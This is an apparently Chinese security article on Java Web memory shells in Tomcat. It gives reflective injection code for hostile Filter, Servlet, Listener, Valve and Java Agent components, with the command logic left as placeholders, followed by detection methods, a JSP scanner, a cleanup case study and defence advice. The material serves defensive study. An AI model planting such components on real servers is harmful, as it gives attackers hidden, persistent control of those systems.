Java Web内存马深入分析:从注入原理到检测查杀
字数 2088 2025-08-22 12:22:30
Java Web内存马深入分析与防御指南
1. 内存马概述
内存马(Memory Shell)是一种驻留在服务器内存中的恶意程序,它利用Java Web应用的动态注册机制,在不修改磁盘文件的情况下实现持久化控制。与传统Webshell相比,内存马更难被传统安全防护手段检测。
内存马特点
- 无文件驻留:不写入磁盘,仅存在于内存
- 动态注册:利用反射机制动态注册恶意组件
- 高隐蔽性:难以通过常规文件扫描发现
- 多种类型:支持Filter、Servlet、Listener、Valve等多种注入方式
2. 内存马类型及原理分析
2.1 Filter类型内存马
2.1.1 Filter基础
Filter是Java Web中的过滤器组件,位于请求处理链的前端,可对请求和响应进行预处理。关键方法:
init(): 初始化时调用doFilter(): 核心过滤逻辑destroy(): 销毁时调用
2.1.2 注入原理
通过反射获取Tomcat核心组件StandardContext,动态注册恶意Filter:
- 获取ServletContext
- 反射获取ApplicationContext
- 反射获取StandardContext
- 获取filterConfigs Map
- 创建并注册恶意Filter
2.1.3 关键代码实现
// 获取ServletContext
ServletContext servletContext = request.getServletContext();
// 反射获取ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
// 反射获取StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);
// 创建恶意Filter
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
// 恶意代码逻辑
if(req.getParameter("cmd") != null) {
// 执行命令
}
chain.doFilter(req, res);
}
};
// 注册Filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
2.2 Servlet类型内存马
2.2.1 Servlet基础
Servlet是Java Web核心组件,用于处理HTTP请求。关键方法:
init(): 初始化service(): 处理请求destroy(): 销毁
2.2.2 注入原理
通过StandardContext动态注册恶意Servlet:
- 获取StandardContext
- 创建Wrapper对象
- 设置Servlet名称和类
- 添加URL映射
2.2.3 关键代码实现
// 获取StandardContext
StandardContext standardContext = ...;
// 创建恶意Servlet类
class EvilServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
// 恶意代码逻辑
}
}
// 创建并注册Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evilServlet");
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/evil", "evilServlet");
2.3 Listener类型内存马
2.3.1 Listener基础
Listener用于监听Web应用事件,包括:
- 应用生命周期事件
- 会话事件
- 请求事件
- 属性变更事件
2.3.2 注入原理
动态注册恶意ServletRequestListener,监听每次请求:
- 获取StandardContext
- 创建恶意Listener实例
- 通过addApplicationEventListener注册
2.3.3 关键代码实现
class EvilListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
// 每次请求时执行恶意代码
}
}
// 注册Listener
standardContext.addApplicationEventListener(new EvilListener());
2.4 Valve类型内存马
2.4.1 Valve基础
Tomcat特有的Pipeline-Valve架构组件,比Filter更底层:
- 首阀门(First Valve)
- 中间阀门(Intermediate Valve)
- 基础阀门(Basic Valve)
2.4.2 注入原理
通过StandardContext获取Pipeline,添加恶意Valve:
- 获取StandardContext
- 获取Pipeline对象
- 创建并添加Valve
2.4.3 关键代码实现
class EvilValve extends ValveBase {
public void invoke(Request request, Response response) {
// 恶意代码逻辑
getNext().invoke(request, response);
}
}
// 注册Valve
Pipeline pipeline = standardContext.getPipeline();
pipeline.addValve(new EvilValve());
2.5 Java Agent技术注入
2.5.1 Java Agent基础
Java Agent可在运行时修改类字节码,两种加载方式:
- premain: JVM启动时加载
- agentmain: JVM运行后动态加载
2.5.2 注入原理
- 编写恶意Servlet类
- 创建Agent修改ApplicationFilterChain
- 使用Attach API注入目标JVM
2.5.3 关键代码实现
public class Agent {
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if(className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
// 修改doFilter方法字节码,插入恶意代码
}
return null;
}
}, true);
}
}
3. 内存马检测与查杀
3.1 检测方法
3.1.1 流量特征检测
- 异常请求路径和状态码
- 动态变化的数据包大小
- 特殊User-Agent或Referer
- 异常的响应时间
3.1.2 代码特征检测
- 连接密码关键字
- 自定义路由映射
- 加解密操作
- 动态类加载
- 可疑类名/包名
3.2 查杀工具
3.2.1 JSP扫描工具
<%@ page import="org.apache.catalina.core.*,java.lang.reflect.*,java.util.*" %>
<%
// 扫描Filter内存马
ServletContext sc = request.getServletContext();
Field ctxField = sc.getClass().getDeclaredField("context");
ctxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)ctxField.get(sc);
Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);
// 获取filterConfigs
Field configsField = stdCtx.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map<String,?> filterConfigs = (Map<String,?>)configsField.get(stdCtx);
// 输出可疑Filter
for(Map.Entry<String,?> entry : filterConfigs.entrySet()) {
out.println("可疑Filter: " + entry.getKey());
}
%>
3.2.2 Shell-Analyzer工具
- 获取目标JVM PID
- 启动远程服务端
java -cp tools.jar:remote-0.1.jar com.n1ar4.RemoteLoader <PID> <密钥> - 启动GUI客户端连接分析
3.3 查杀案例:冰蝎内存马
3.3.1 特征分析
- 使用AES加密通信
- 动态类加载
- Base64编码传输
- 固定路由"/memshell"
3.3.2 查杀步骤
- 使用Shell-Analyzer连接目标JVM
- 定位到javax/servlet/http/HttpServlet类
- 分析service方法中的恶意代码
- 删除可疑类
4. 防御建议
4.1 预防措施
- 禁用不必要的反射功能
- 限制动态类加载
- 监控JVM Attach操作
- 定期更新中间件
4.2 检测方案
- 部署RASP防护
- 实现流量审计
- 建立行为基线
- 定期内存扫描
4.3 应急响应
- 立即隔离受影响系统
- 内存取证分析
- 查找注入源头
- 修复安全漏洞
- 全面安全检查
5. 总结
Java Web内存马技术不断演进,从传统的Filter/Servlet注入到基于Java Agent的字节码修改,隐蔽性越来越高。防御需要结合预防、检测、响应多方面措施,建立纵深防御体系。安全团队应掌握内存马原理和检测技术,定期进行安全评估,确保系统安全。